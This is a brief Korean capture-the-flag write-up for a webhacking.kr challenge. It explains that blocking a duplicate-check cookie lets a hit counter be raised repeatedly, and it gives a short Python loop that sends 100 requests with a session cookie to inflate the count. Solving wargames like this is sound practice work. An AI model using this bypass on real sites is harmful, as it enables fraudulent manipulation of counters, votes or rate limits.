첫 화면이다.
Hit 순으로 정렬되는 것 같은데 나는 맨 아래에 위치해있다.
페이지 소스의 일부는 아래와 같다.
<tr onmouseover="this.style.background='gray'" onmouseout=
"this.style.background='black'" onclick= "location.href='?hit=dominic20'" style=
"background: black;">
<td>852</td>
<td>dominic20</td>
<td align="center">0 / 100</td>
</tr>
이름을 클릭하면 Hit가 1 증가한다.
다시 클릭하면 아래와 같이 알림이 뜨면서 Hit가 증가하지 않는다.
해당 쿠키를 금지한다.
그러면 아무리 이름을 클릭을 해도 알림이 뜨지 않고 Hit가 계속 증가한다.
Hit 수를 증가시키는 파이썬 코드를 짜면 아래와 같다.
import requests
URL = 'https://webhacking.kr/challenge/code-5/?hit=donghyunlee00'
PHPSESSID = 'MY_PHPSESSID'
for i in range(100):
requests.get(URL, cookies={'PHPSESSID': PHPSESSID})